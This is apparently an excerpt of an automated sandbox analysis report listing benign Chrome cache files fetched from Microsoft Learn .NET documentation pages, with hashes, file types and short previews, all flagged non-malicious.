SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-ignite-2024.jpg
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.794639101874543
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzVqrpCvJ4QG63JjJ+do88HxbqP:dgQ+KfZcbhaWjp45qtAdflfDOFnNgBy4
MD5:	84E6C95F0E5378BDA94FA965C4692FAF
SHA1:	7C1D6572906509B08F8CD7B7A33EB9F9697EE6D1
SHA-256:	88A4A7B4F1160F8CAD3EB835116C29AC39659D586D4DADC54D9E40AC7E1BC610
SHA-512:	D34BFF37F8402B4A1FEE3C26F247A86D72666647A10E83D711A1BED1D24C6FC13674D65DCC037C22811B227FEC34B5DE20442191A42F9D78FC79D55FD5792761
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
